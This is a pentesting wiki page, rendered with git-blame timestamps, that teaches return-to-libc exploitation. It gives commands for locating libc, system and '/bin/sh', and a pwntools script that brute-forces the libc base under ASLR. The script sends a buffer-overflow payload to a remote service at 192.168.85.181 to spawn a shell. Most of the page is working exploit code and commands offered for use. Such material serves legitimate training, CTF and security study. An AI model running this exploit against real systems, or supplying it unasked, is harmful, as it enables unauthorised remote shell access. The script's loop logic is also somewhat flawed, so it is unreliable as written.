2020-07-15 15:43:14 +00:00
|
|
|
# Ret2Lib
|
|
|
|
|
|
|
|
**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**
|
|
|
|
|
2021-07-26 15:11:57 +00:00
|
|
|
## If you are **inside** the **host**
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
### You can find the **address of lib**c
|
|
|
|
|
|
|
|
```bash
|
|
|
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
|
|
|
```
|
|
|
|
|
|
|
|
If you want to check if the ASLR is changing the address of libc you can do:
|
|
|
|
|
|
|
|
```bash
|
|
|
|
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
|
|
|
```
|
|
|
|
|
|
|
|
### Get offset of system function
|
|
|
|
|
|
|
|
```bash
|
|
|
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|
|
|
```
|
|
|
|
|
|
|
|
### Get offset of "/bin/sh"
|
|
|
|
|
|
|
|
```bash
|
|
|
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|
|
|
```
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
### /proc/\<PID>/maps
|
2020-07-15 15:43:14 +00:00
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
![](<../../.gitbook/assets/image (95).png>)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
|
2020-07-15 15:43:14 +00:00
|
|
|
|
2021-07-14 20:00:09 +00:00
|
|
|
### Using gdb-peda
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
p system
|
|
|
|
p exit
|
|
|
|
find "/bin/sh"
|
|
|
|
```
|
|
|
|
|
|
|
|
## Bypassing ASLR
|
|
|
|
|
|
|
|
You can try to bruteforce the abse address of libc.
|
|
|
|
|
|
|
|
```python
|
2021-07-26 15:11:57 +00:00
|
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
2020-07-15 15:43:14 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
## Code
|
|
|
|
|
2021-03-20 10:29:06 +00:00
|
|
|
```python
|
2020-07-15 15:43:14 +00:00
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
c = remote('192.168.85.181',20002)
|
|
|
|
c.recvline() #Banner
|
|
|
|
|
|
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
|
|
p = ""
|
|
|
|
p += p32(off + 0x0003cb20) #system
|
|
|
|
p += "CCCC" #GARBAGE
|
|
|
|
p += p32(off + 0x001388da) #/bin/sh
|
|
|
|
payload = 'A'*0x20010 + p
|
|
|
|
c.send(payload)
|
|
|
|
c.interactive() #?
|
|
|
|
```
|